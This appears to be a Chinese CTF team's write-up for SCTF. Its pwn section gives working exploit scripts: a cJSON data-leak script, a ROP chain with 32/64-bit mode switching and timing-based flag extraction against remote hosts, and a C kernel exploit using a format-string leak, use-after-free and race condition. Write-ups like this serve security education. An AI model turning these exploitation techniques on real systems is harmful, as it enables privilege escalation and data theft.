rgbs = re.findall(r"38;2;(.*?);(.*?);(.*?)m",lines[i])
for j in range(len(rgbs)):
rgb = (int(rgbs[j][0]),int(rgbs[j][1]),int(rgbs[j][2]))
img.putpixel((j,i),rgb)
img.save(f"{k}.png")
看一遍之后发现序号为21和25的有些怪，所以单独拿出来
再这些文件里边有一个weixin的链接点进去时fomo图，放大了看有很多小点点，把这些一个一个像素点提取出来成图片：
脚本如下:
from PIL import Image
img = Image.open("TpMSkq.png")
img_save = Image.new("RGB",(133,100))
width,hight = img.size
for i in range(1,width,9):
for j in range(1,hight,9):
rgb = img.getpixel((i,j))
try:
img_save.putpixel(((j-1)//9,(i-1)//9),rgb)
except:
continue
img_save.save("out.png")
提取出来跟另外两张图对比一下发现，很多点和其中一张是一样的，再对比一下发现偏移50和另一张也很相似，猜测得把两个拼起来再异或或者盲水印，但是图太小了盲水印肯定看不清所以应该是异或，得到
翻转一下，得到flag
### in_the_vaporwaves
用sonic visualiser打开
选这个，发现有很多不对劲的：
仔细一看是摩斯电码，一个一个记下来然后转码，好像我还记错了一个VAPORW[@UES](https://github.com/UES
"@UES")猜测一下是蒸汽波改成VAPORW[@VES](https://github.com/VES "@VES")就对了
SCTF{DES1R3_DRIVES_INT0_VAPORW[@VES](https://github.com/VES "@VES")}
## Pwn
### dataleak
盲区，先去审计一下代码。
<https://github.com/DaveGamble/cJSON/issues/338>
他有一段字符this is the data on server这段字符串在远端是一串数据
题目要求是泄露数据
远端程序在泄露这段数据之后，会继续问你要这段数据，如果匹配就会print flag
通过审计上面的代码我们可以知道，可以利用/ _把字符串复制上去，那我们就利用_ /*来泄露
要先泄露data1，然后data2，很好理解（连蒙带猜，试了不少）
exp：
from pwn import *
p = process('./cJSON_PWN')
p = remote('124.70.202.226', 2101)
context.log_level = 'debug'
pl = '"' + 'A'* 12 + '\\' # last rsi + 6
pl = '\n' * 4 + '"' + 'A'* 8 + '\\' # last rsi + 6
io.send(pl)
pl = '\n' * 12 + '"\\'
p.send(pl)
# 12 + 4 == 0x10
data = p.recv(11)
print('data1: ' + str(data))
pl = 'abcde/*fghijkl' # last rsi + 6
#gdb.attach(p)
p.send(pl)
pl = '/*aaaaaaaaaaaa'
p.send(p)
data2 = p.recv(11)
print('data2: ' + str(data2))
data = data + data2
print('data: ' + data)
p.sendline(data)
p.interactive()
### Gadget
沙盒可以看出没有对架构进行判断
用retfq将程序变成32位架构，完事调用open把文件流创起来，然后用retf回到64位，使用盲注的方式，这里我用的是这个地方，
r13跟rax都可控，r13小于rax的话，程序死循环，反之程序直接down。
大概就是这样，具体可以看exp，如果能看的进去的话…….
# -*- coding: utf-8 -*
from pwn import *
#context.log_level = 'debug'
context.arch = 'amd64'
#context.terminal = ['tmux','new-window']
def pwn(p,num,flag_ord):
fake_stack = 0x40D160 + 0x400
pop_rax_ret = 0x0000000000401001
pop_rdi_pop_ret = 0x401734
pop_rsi_pop_pop_ret = 0x0000000000401732
pop_rsp_pop_pop_pop_ret = 0x0000000000401730
pop_rcx_ret = 0x000000000040117b
pop_rbx_pop_pop_pop_ret = 0x403072
pop_r13_pop_pop_pop_ret= 0x000000000040288f
mov_sys = 0x401170
int80_ret = 0x4011f3
retfq_addr = 0x4011ec
payload = "a" * 48
payload +=p64(fake_stack)
payload +=p64(pop_rdi_pop_ret)
payload +=p64(fake_stack)
payload +=p64(fake_stack)
payload +=p64(pop_rdi_pop_ret)
payload +=p64(fake_stack)
payload +=p64(fake_stack)
payload +=p64(mov_sys)
payload +=p64(pop_rsp_pop_pop_pop_ret)
payload +=p64(fake_stack-0x10)
p.send(payload.ljust(0xc0,"\x00"))
payload = "./flag".ljust(8,"\x00")
payload += p64(pop_rbx_pop_pop_pop_ret)
payload += p64(fake_stack)
payload += p64(0)*3
payload += p64(pop_rcx_ret)
payload += p64(0)
payload += p64(pop_rax_ret)
payload += p64(5)
payload += p64(retfq_addr)
payload += p32(int80_ret)
payload += p32(0)
payload += p64(0x23)
payload += p32(retfq_addr+1)
payload += p32(0x401002)
payload += p32(0x33)
payload += p64(pop_rax_ret)
payload += p64(0)
payload +=p64(pop_rdi_pop_ret)
payload +=p64(fake_stack+0x400)
payload +=p64(fake_stack+0x400)
payload +=p64(mov_sys)
payload +=p64(pop_rsp_pop_pop_pop_ret)
payload +=p64(fake_stack+0x400-0x18)
p.send(payload.ljust(0xc0,"\x00"))
payload =p64(pop_rsi_pop_pop_ret)
payload +=p64(0x40db30-num+1)+p64(fake_stack)*2
payload +=p64(pop_rdi_pop_ret)
payload +=p64(3)+p64(fake_stack)
payload +=p64(pop_rax_ret)
payload +=p64(0)
payload +=p64(0x401165)#---read
payload +=p64(0)
payload +=p64(pop_rsi_pop_pop_ret)
payload +=p64(fake_stack+0x500)+p64(fake_stack)*2
payload +=p64(pop_rdi_pop_ret)
payload +=p64(0)+p64(fake_stack)
payload +=p64(pop_rax_ret)
payload +=p64(0)
payload +=p64(0x401195)#---read
payload +=p64(0)
payload +=p64(pop_rsp_pop_pop_pop_ret)
payload +=p64(fake_stack+0x500-0x18)
p.send(payload.ljust(0xc0,"\x00"))
payload =p64(pop_rsi_pop_pop_ret)
payload +=p64(0x40db31)+p64(fake_stack)*2
payload +=p64(pop_rdi_pop_ret)
payload +=p64(0)*2
payload +=p64(pop_rax_ret)#
payload +=p64(0)
payload +=p64(0x401165)#---read
payload +=p64(0)
payload +=p64(pop_r13_pop_pop_pop_ret)
payload +=p64(flag_ord)+p64(0x40d560)*3
payload +=p64(pop_rax_ret)
payload +=p64(0x40db18)
payload +=p64(pop_rax_ret)
payload +=p64(0x40db18)
payload +=p64(0x401002)*3
payload +=p64(0x402D19)
print "payload = ",hex(len(payload))
#gdb.attach(p,"b *0x402D19")
p.send(payload)
p.sendline("\x00"*0x20)
#p.interactive()
start = time.time()
p.can_recv_raw(timeout = 3)
end = time.time()
if end - start > 3:
print "flag[", str(num)+"]= ",chr(flag_ord+1)
return 1
else:
return 0
if __name__ == '__main__':
flag = ""
for num in range(1,40):
for i in range(126,32,-1):
#p = process('./gadget')
p = remote('121.37.135.138',2102)
if pwn(p,num,i):
flag = flag + chr(i+1)
print "flag = ",flag
break
p.close()
print "flag[",str(num),"]"
#SCTF{woww0w_y0u_1s_g4dget_m45ter}
flag实在太长了，我一次又一次降低我的底线
### Christmas Song
from pwn import *
import string
context.log_level = 'debug'
io = remote('124.71.144.133', 2144)
s = lambda data :io.send(data)
sa = lambda data1,data :io.sendafter(data1, data)
sl = lambda data :io.sendline(data)
sla = lambda data1,data :io.sendlineafter(data1, data)
r = lambda numb=4096 :io.recv(numb)
ru = lambda data1, drop=True :io.recvuntil(data1, drop)
rn = lambda numb :io.recvn(numb)
irt = lambda :io.interactive()
# misc functions
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
leak = lambda name,addr :log.success('{} : {:#x}'.format(name, addr))
io.close()
prefix = 'SCTF{'
index = 6
stringset = string.printable
while True:
for i in stringset:
teststr = prefix + i
#io = remote('124.71.144.133', 2144)
io=process("python3 server.py".split(" "))
c=""
c+="gift tmp is 0;\n"
c+="gift foo is 30;\n"
c+="gift fd is 0;\n"
c+="gift buff is \"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\";\n"
c+="gift path is \"/home/ctf/flag\";\n"
c+="gift teststr is \"{0}\";\n".format(teststr)
c+="gift result is 1;\n"
c+="gift index is {0};\n".format(index)
c+="reindeer Dancer delivering gift path tmp tmp brings back gift fd;\n"
c+="reindeer Dasher delivering gift fd buff foo;\n"
c+="reindeer Prancer delivering gift buff teststr index brings bac k gift result;\n"
c+="this family wants gift result if the gift is result equal to t mp : reindeer Rudolph delivering gift fd buff foo;\n"
c+="ok, they should already have a gift;\n"
c+="EOF\n"
ru('(EOF to finish):')
s(c)
try :
io.recvuntil('error:')
except EOFError:
io.close()
else:
prefix =teststr
index += 1
io.close()
break
### flying_kernel
格式化字符串泄露kernel地址
uaf劫持subprocess_info结构体
条件竞争劫持cleanup指针进行ROP
内核文件读写输出flag
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <pthread.h>
#include <time.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <sys/socket.h>
size_t kernel_base,pop_rdi,filp_open,vfs_read,pop_rdx,pop_rsi,pop_rcx,xchg_eax_esp;
size_t buf[0x10];
void gadget()
{
pop_rdi=kernel_base+0x16e9;
pop_rdx=kernel_base+0x4abb7;
pop_rsi=kernel_base+0x2568;
pop_rcx=kernel_base+0x1ed83;
filp_open=kernel_base+0x1dc160;
vfs_read=kernel_base+0x1dfc10;
xchg_eax_esp=kernel_base+0x11cb0;
memset(buf,0,sizeof(buf));
buf[1]=xchg_eax_esp;
}
void *thread(void *thread_arg)
{
clock_t start=clock();
while (1)
{
write(*(int *)thread_arg,(char *)buf,0x30);
if (clock()-start>=CLOCKS_PER_SEC*0.5) break;
}
}
void *thread_leak(void *thread_arg)
{
while (1)
{
puts((char *)thread_arg);
}
}
char *ROP()
{
size_t *user_page=mmap((void *)(xchg_eax_esp&0xFFFFF000),0x1000,PROT_READ|PROT_WRITE,MAP_ANONYMOUS|MAP_PRIVATE,-1,0);
int i=0x196;
user_page[i++]=pop_rdi;
user_page[i++]=(size_t)(user_page-0x10);
user_page[i++]=kernel_base+0x6892f8;
user_page[i++]=pop_rdi;
user_page[i++]=(size_t)"/flag";
user_page[i++]=pop_rsi;
user_page[i++]=0;
user_page[i++]=pop_rdx;
user_page[i++]=0;
user_page[i++]=filp_open;
user_page[i++]=kernel_base+0x65afac;
user_page[i++]=pop_rsi;
user_page[i++]=(size_t)user_page;
user_page[i++]=pop_rdx;
user_page[i++]=0x100;
user_page[i++]=pop_rcx;
user_page[i++]=(size_t)user_page+0x800;
user_page[i++]=vfs_read;
return (char *)user_page;
}
int main()
{
int fd=open("/dev/seven",O_RDWR);
ioctl(fd,0x5555,0x80);
write(fd,"%lx\n%lx\n%lx\n%lx\n%lx\n%lx\n",0x80);
ioctl(fd,0x7777,NULL);
ioctl(fd,0x7777,NULL);
scanf("%lx",&kernel_base);
kernel_base=kernel_base-0x1f3ecd;
gadget();
char *flag_addr=ROP();
ioctl(fd,0x5555,0x80);
ioctl(fd,0x6666,NULL);
pthread_t thread_pid;
pthread_create(&thread_pid,NULL,thread,&fd);
pthread_t thread_leak_pid;
pthread_create(&thread_leak_pid,NULL,thread_leak,flag_addr);
for (int i=0; i<0x10; i++) socket(22,AF_INET,0);
pthread_join(thread_pid,NULL);
}
## Re
### godness dance
逆向发现是计数排序，5f80数组存放每个字符出现次数
sub1400是计数排序函数，存放一组以ascii码排序的字符串
计算后的结果和4020数组比较，得到flag
data = [2, 26, 17, 28, 24, 11, 21, 10, 16, 20, 19, 18, 3, 8, 6, 12, 9, 14, 13, 22, 4, 27, 15, 23, 1, 25, 7, 5]
data = [i - 1 for i in data]
origin = 'abcdefghiijklmnopqrorigintuuvwxyz'
result = [0] * 28
for i in range(len(data)):
result[data[i]] = origin[i]
print(''.join(result))
SCTF{waltznymphforquickjigsvexbud}
### CplusExceptionEncrypt
以异常来驱动执行的题。
分组加密，16个字节一组。先进行一个魔改tea加密，接着将密文与tea的deltea进行异或，最后一个魔改aes加密（主要就是将重复轮的字节替换和行移位改为逆字节替换和逆移位）
先进行魔改aes解密：
//aes.h
#ifndef AES_H
#define AES_H
#include <string.h>
#include <stdio.h>
#include <iostream>
#define Nk 4
#define Nr 10
#define Nb 4
#define getSBoxValue(num) (sbox[(num)])
class aes
{
public:
struct ctx_
{
unsigned char RoundKey[11*16];
}ctx;
public:
aes(char *Key);
void xor_iv(char *a, char *b);
void KeyExpansion(unsigned char *RoundKey, char *Key);
void AddRoundKey(unsigned char (*state)[4], unsigned char *RoundKey);
void ShiftRows(unsigned char (*state)[4]);
unsigned char gfmultby(unsigned char a, unsigned char b);
void getData(unsigned char (*data)[4], char *enc);
void encryption_cbc(char *plaint, char *enc);
void InvSubBytes(unsigned char (*state)[4]);
void InvSubBytes1(unsigned char (*state)[4]);
void InvShiftRows(unsigned char (*state)[4]);
void InvMixColumns(unsigned char (*state)[4]);
void decryption_cbc(char *plaint, char *enc);
};
#endif // AES_H
//main.cpp
#include "aes.h"
using namespace std;
const unsigned char sbox[256] = {
//0 1 2 3 4 5 6 7 8 9 A B C D E F
0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76, 0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0, 0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15, 0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75, 0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84, 0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF, 0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8, 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2, 0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73, 0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB, 0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79, 0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08, 0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A, 0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E, 0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF, 0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16 };
//const unsigned char rsbox[] = {0x52, 0x09, 0x6A, 0xD5, 0x30, 0x36, 0xA5, 0x38, 0xBF, 0x40, 0xA3, 0x9E, 0x81, 0xF3, 0xD7, 0xFB, 0x7C, 0xE3, 0x39, 0x82, 0x9B, 0x2F, 0xFF, 0x87, 0x34, 0x8E, 0x43, 0x44, 0xC4, 0xDE, 0xE9, 0xCB, 0x54, 0x7B, 0x94, 0x32, 0xA6, 0xC2, 0x23, 0x3D, 0xEE, 0x4C, 0x95, 0x0B, 0x42, 0xFA, 0xC3, 0x4E, 0x08, 0x2E, 0xA1, 0x66, 0x28, 0xD9, 0x24, 0xB2, 0x76, 0x5B, 0xA2, 0x49, 0x6D, 0x8B, 0xD1, 0x25, 0x72, 0xF8, 0xF6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xD4, 0xA4, 0x5C, 0xCC, 0x5D, 0x65, 0xB6, 0x92, 0x6C, 0x70, 0x48, 0x50, 0xFD, 0xED, 0xB9, 0xDA, 0x5E, 0x15, 0x46, 0x57, 0xA7, 0x8D, 0x9D, 0x84, 0x90, 0xD8, 0xAB, 0x00, 0x8C, 0xBC, 0xD3, 0x0A, 0xF7, 0xE4, 0x58, 0x05, 0xB8, 0xB3, 0x45, 0x06, 0xD0, 0x2C, 0x1E, 0x8F, 0xCA, 0x3F, 0x0F, 0x02, 0xC1, 0xAF, 0xBD, 0x03, 0x01, 0x13, 0x8A, 0x6B, 0x3A, 0x91, 0x11, 0x41, 0x4F, 0x67, 0xDC, 0xEA, 0x97, 0xF2, 0xCF, 0xCE, 0xF0, 0xB4, 0xE6, 0x73, 0x96, 0xAC, 0x74, 0x22, 0xE7, 0xAD, 0x35, 0x85, 0xE2, 0xF9, 0x37, 0xE8, 0x1C, 0x75, 0xDF, 0x6E, 0x47, 0xF1, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, 0x6F, 0xB7, 0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B, 0xFC, 0x56, 0x3E, 0x4B, 0xC6, 0xD2, 0x79, 0x20, 0x9A, 0xDB, 0xC0, 0xFE, 0x78, 0xCD, 0x5A, 0xF4, 0x1F, 0xDD, 0xA8, 0x33, 0x88, 0x07, 0xC7, 0x31, 0xB1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xEC, 0x5F, 0x60, 0x51, 0x7F, 0xA9, 0x19, 0xB5, 0x4A, 0x0D, 0x2D, 0xE5, 0x7A, 0x9F, 0x93, 0xC9, 0x9C, 0xEF, 0xA0, 0xE0, 0x3B, 0x4D, 0xAE, 0x2A, 0xF5, 0xB0, 0xC8, 0xEB, 0xBB, 0x3C, 0x83, 0x53, 0x99, 0x61, 0x17, 0x2B, 0x04, 0x7E, 0xBA, 0x77, 0xD6, 0x26, 0xE1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0C, 0x7D};
unsigned char rsbox[256] = {0};
const unsigned char Rcon[11] = {
0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36 };
const unsigned char MixValue[4][4] = {{02, 03, 01, 01},
{01, 02, 03, 01},
{01, 01, 02, 03},
{03, 01, 01, 02}
};
const unsigned char InvMixValue[4][4] = {{0xe, 0xb, 0xd, 0x9},
{0x9, 0xe, 0xb, 0xd},
{0xd, 0x9, 0xe, 0xb},
{0xb, 0xd, 0x9, 0xe}
};
aes::aes(char *key)
{
this->KeyExpansion(ctx.RoundKey, key);
for(int i = 0; i < 256; i++)
{
rsbox[sbox[i]] = i;
}
}
void aes::xor_iv(char *data, char *iv)
{
for(int i = 0; i < 16; i++)
data[i] ^= iv[i];
}
void aes::KeyExpansion(unsigned char *RoundKey, char *Key)
{
unsigned char i, j, k;
unsigned char tempa[4];
for (i = 0; i < Nk; ++i)
{
RoundKey[(i * 4) + 0] = Key[(i * 4) + 0];
RoundKey[(i * 4) + 1] = Key[(i * 4) + 1];
RoundKey[(i * 4) + 2] = Key[(i * 4) + 2];
RoundKey[(i * 4) + 3] = Key[(i * 4) + 3];
}
for (i = Nk; i < Nb * (Nr + 1); ++i)
{
k = (i - 1) * 4;
tempa[0]=RoundKey[k + 0];
tempa[1]=RoundKey[k + 1];
tempa[2]=RoundKey[k + 2];
tempa[3]=RoundKey[k + 3];
if (i % Nk == 0)
{
const unsigned char u8tmp = tempa[0];
tempa[0] = tempa[1];
tempa[1] = tempa[2];
tempa[2] = tempa[3];
tempa[3] = u8tmp;
tempa[0] = getSBoxValue(tempa[0]);
tempa[1] = getSBoxValue(tempa[1]);
tempa[2] = getSBoxValue(tempa[2]);
tempa[3] = getSBoxValue(tempa[3]);
tempa[0] = tempa[0] ^ Rcon[i/Nk];
}
j = i * 4; k=(i - Nk) * 4;
RoundKey[j + 0] = RoundKey[k + 0] ^ tempa[0];
RoundKey[j + 1] = RoundKey[k + 1] ^ tempa[1];
RoundKey[j + 2] = RoundKey[k + 2] ^ tempa[2];
RoundKey[j + 3] = RoundKey[k + 3] ^ tempa[3];
}
}
void aes::AddRoundKey(unsigned char (*state)[4], unsigned char *RoundKey)
{
int i, j;
for(i = 0; i < 4 ;i++)
{
for(j = 0; j < 4; j++)
{
state[i][j] ^= RoundKey[j*4+i];
}
}
}
void aes::InvSubBytes(unsigned char (*state)[4])
{
int i, j;
for(i = 0; i < 4; i++)
{
for(j = 0; j < 4; j++)
{
state[i][j] = rsbox[state[i][j]];
}
}
}
void aes::InvSubBytes1(unsigned char (*state)[4])
{
int i, j;
for(i = 0; i < 4; i++)
{
for(j = 0; j < 4; j++)
{
state[i][j] = sbox[state[i][j]];
}
}
}
void aes::InvShiftRows(unsigned char (*state)[4])
{
int i, j, cnt, tmp;
for(i = 1; i < 4; i++)
{
cnt = 0;
while(cnt++ < i)
{
tmp = state[i][3];
for(j = 3; j > 0; j--)
{
state[i][j] = state[i][j-1];
}
state[i][j] = tmp;
}
}
}
void aes::ShiftRows(unsigned char (*state)[4])
{
int i, j, cnt, tmp;
for(i = 1; i < 4; i++)
{
cnt = 0;
while(cnt++ < i)
{
tmp = state[i][0];
for(j = 1; j < 4; j++)
{
state[i][j-1] = state[i][j];
}
state[i][j-1] = tmp;
}
}
}
unsigned char aes::gfmultby(unsigned char a, unsigned char b)
{
unsigned char tmp = a >= 0x80 ? (unsigned char)((a<<1)^0x1b):(unsigned char)(a << 1);
if(b == 1)
return a;
else if(b == 2)
return tmp;
else if(b == 3)
return tmp^a;
else if(b == 4)
return gfmultby(tmp, 2);
else if(b == 8)
return gfmultby(gfmultby(tmp, 2), 2);
else if(b == 9)
return gfmultby(gfmultby(tmp, 2), 2)^a;
else if(b == 10)
return gfmultby(gfmultby(tmp, 2), 2)^tmp;
else if(b == 11)
return gfmultby(gfmultby(tmp, 2), 2)^tmp^a;
else if(b == 12)
return gfmultby(gfmultby(tmp, 2), 2)^gfmultby(tmp, 2);
else if(b == 13)
return gfmultby(gfmultby(tmp, 2), 2)^gfmultby(tmp, 2)^a;
else
return gfmultby(gfmultby(tmp, 2), 2)^gfmultby(tmp, 2)^tmp;
}
void aes::InvMixColumns(unsigned char (*state)[4])
{
int i, j, k;
unsigned char output[4][4] = {{0}};
for(i = 0; i < 4; i++)
{
for(j = 0; j < 4; j++)
{
for(k = 0; k < 4; k++)
{
output[i][j] ^= gfmultby(state[k][j], InvMixValue[i][k]);
}
}
}
for(i = 0; i < 4; i++)
{
for(j = 0; j < 4; j++)
{
state[i][j] = output[i][j];
}
}
}
void aes::getData(unsigned char (*data)[4], char *plaint)
{
int i, j;
for(i = 0; i < 4; i++)
{
for(j = 0; j < 4; j++)
{
data[j][i] = plaint[4*i+j];
}
}
}
void aes::decryption_cbc(char *enc, char *plain)
{
int i = 10, j = 0;
unsigned char state[4][4] = {{0}}, output[4][4];
aes::getData(state, enc);
/*for(int i = 0; i < 0xb0; i++)
printf("%#x, ", ctx.RoundKey[i]);
putchar(10);*/
aes::AddRoundKey(state, ctx.RoundKey+i*16);
for(i--; ; i--)
{
if(i == 9)
aes::InvShiftRows(state);
else
aes::ShiftRows(state);
if(i == 9)
aes::InvSubBytes(state);
else
aes::InvSubBytes1(state);
aes::AddRoundKey(state, ctx.RoundKey+i*16);
/* for(int a = 0; a < 4; a++)
{
for(int b = 0; b < 4; b++)
{
printf("%#x, ", state[b][a]);
}
}
putchar(10);*/
if(i == 0)
break;
aes::InvMixColumns(state);
}
for(i = 0; i < 4; i++)
{
for(j = 0; j < 4; j++)
{
output[i][j] = state[j][i];
}
}
for(i = 0; i < 16; i++)
plain[i] = ((char *)output)[i];
}
int main(void)
{
char key[] = {87, 101, 108, 99, 111, 109, 101, 95, 116, 111, 95, 115, 99, 116, 102, 33};
char iv[] = {102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102};
char plain[100] = {0};
//char enc[] = {0x9E, 0xD5, 0x19, 0xDB, 0xC0, 0x3D, 0x4E, 0x7B, 0x02, 0x96, 0x00, 0x8E, 0xD6, 0x59, 0x36, 0x13};
//char enc[] = {190, 28, 179, 243, 161, 244, 228, 99, 17, 225, 28, 107, 84, 10, 223, 116};
char enc[] = {242, 147, 85, 218, 72, 252, 162, 60, 137, 99, 46, 127, 141, 164, 109, 78};
aes *cry = new aes(key);
putchar(10);
for(int i = 0; i < 16; i += 16)
{
cry->decryption_cbc(enc+i, plain+i);
if(i == 0)
cry->xor_iv(plain+i, iv);
else
cry->xor_iv(plain+i, enc+(i-16));
}
for(int i = 0; i < 16; i++)
{
printf("%#x, ", (unsigned char)plain[i]);
}
return 0;
}
比如得到第二组的解密数据：
0xdb, 0x7c, 0x93, 0x4f, 0x6a, 0x56, 0xc5, 0x16, 0x4d, 0xe0, 0x55, 0xf7, 0x99,
0x27, 0xa, 0xf6
然后tea解密即可：
#include <stdio.h>
#include <stdlib.h>
unsigned int k[] = {0x21667463, 0x735F6F74, 0x5F656D6F, 0x636C6557};
//unsigned char s[] = {0x7F, 0xF4, 0xB3, 0xD0, 0x25, 0x45, 0x0E, 0x60, 0x00, 0xFD, 0xB8, 0xC7, 0x80, 0x6F, 0x3F, 0xD0};
//unsigned char s[] = {0xa5, 0x5b, 0x93, 0xfb, 0x44, 0x98, 0x88, 0x2c, 0x22, 0x53, 0x22, 0x7e, 0xa, 0xf3, 0xcc, 0xbb};
unsigned char s[] = {0xdb, 0x7c, 0x93, 0x4f, 0x6a, 0x56, 0xc5, 0x16, 0x4d, 0xe0, 0x55, 0xf7, 0x99, 0x27, 0xa, 0xf6};
char x[] = "sctf";
int main(void)
{
/* srand(0x53435446);
for(int i = 0; i < 3; i++)
{
printf("%d, ", rand());
}*/
unsigned int *enc = (unsigned int *)s;
for(int i = 0; i < 4; i++)
{
enc[i] ^= x[i];
//printf("%#x, ", enc[i]);
putchar(10);
}
unsigned int a = enc[0], b = enc[1], c = enc[2], d = enc[3];
// unsigned int a = 0x31313131, b = 0x32323232, c = 0x33333333, d = 0x34343434;
putchar(10);
unsigned int sum = 0, tmp = 0;
/* for(int i = 0; i < 32; i++)
{
sum += 0x73637466;
tmp = sum+i;
//printf("%d %#x\n", i, sum);
a += (((b >> 5)+k[0])^(b+sum)^((b << 4)+k[1]))^tmp;
b += (((a >> 5)+k[2])^(a+sum)^((a << 4)+k[3]))^tmp;
c += (((d >> 5)+k[0])^(d+sum)^((d << 4)+k[1]))^tmp;
d += (((c >> 5)+k[2])^(c+sum)^((c << 4)+k[3]))^tmp;
//putchar(10);
}
printf("%#x\n", sum);
printf("%#x\n", a);
printf("%#x\n", b);
printf("%#x\n", c);
printf("%#x\n", d);
putchar(10);*/
sum = 0x73637466*32;
for(int i = 0; i < 32; i++)
{
tmp = sum+(31-i);
//printf("%d %#x\n", i, sum);
b -= (((a >> 5)+k[2])^(a+sum)^((a << 4)+k[3]))^tmp;
a -= (((b >> 5)+k[0])^(b+sum)^((b << 4)+k[1]))^tmp;
d -= (((c >> 5)+k[2])^(c+sum)^((c << 4)+k[3]))^tmp;
c -= (((d >> 5)+k[0])^(d+sum)^((d << 4)+k[1]))^tmp;
sum -= 0x73637466;
}
printf("%#x, ", a);
printf("%#x, ", b);
printf("%#x, ", c);
printf("%#x, ", d);
}
## Crypto
### cubic
扩展维纳攻击分解n得到p q，根据一般群阶p-1，复数群阶$p^{2}-1$，推导该群阶为$p^{3}-1$，直接求逆得d进行解密
from Crypto.Util.number import *
from gmpy2 import invert
from z3 import *
#c =(166431982461794383404765894353564652417286281286845040815812696140245010936597690881728163044999563295606777822589599719988749943986277241768406486432942976971806090294723679213709276119783333317719736480695779056909005344748713312922208943911234004090154620267867923985496066206993388826848408016113230559895319140692117846347161636934408901418900660630848238252785792937558161125236263657446105045318374541989968623804546523311550966511721989817712979188863096534909514606855128351038197938270797429538803633123512162732858973784140131107258309968348721003718514188938837464306149466871073659419970807525573186177295974780597677202177278450017235952741828648411332753623971689087414338005032425283018127420482524353019039589883070439499816602536780385008119304807415943660538320547325663679105882323899559945539040614335041356182742492246188685166079997529059728431638477119368978924088838246744082322934215253952260604000, 583811541976786499144377377934025235584387131534635007022251365145942422227051060939985851484706210836767096516219672713844985063110538384884200155176672559391335026702801538941879468724743394010709887016418730105669706000795612301487140087279830678314909581314560039721638176230206155638477025095967507768951649990761591795801514872889641096293748540210199152367695575307597602483917419532171797268649128704295643514700599003974515092476985280147122085743107678260804403848731411523152508976557299100005180707794868709825610527244045712157278351329970986028569553983677992653806577740248777743401724460474149400544970284499843498104577389527968551869656641095498167438798405641085540418812727789234175230571563718616654865504708574325812468631975439864831103170397966449939536937839005435391565163846769907939906973391750780003117155026788680288079657919663977842795793378060965920997621456965471449613549935486637988132751)
#pad =117974859274346072583739577879237661359633939326177996925545772649078598610987301667759912933925662285927802009264196767594856451275711699740105534472053429854738915648249617679338619108159296653886787677835343872851980353011790571950727888130983528711607533379553800325336063577707548506215714783818842480239
#e1 = 2816364923215542703181103700546313680109699436794123566226755921623782970809742716991858902522746028156003630828900076158585411663702115647361928930336417992964232866389633747914430575706682691181456229019202935906062908587609722493361057620793975135051750614902337992567625486243873224234033256269675850528518211544253411469959902538438091955199793022342556708413965433779350671626129791137318004869160747756926534289668211426638719794731091512998036558584096298208598924494265349419704363061401758956080768587013310392993665629098212668360357545504145264857268152702858316846654320106999264941629532500605382044391
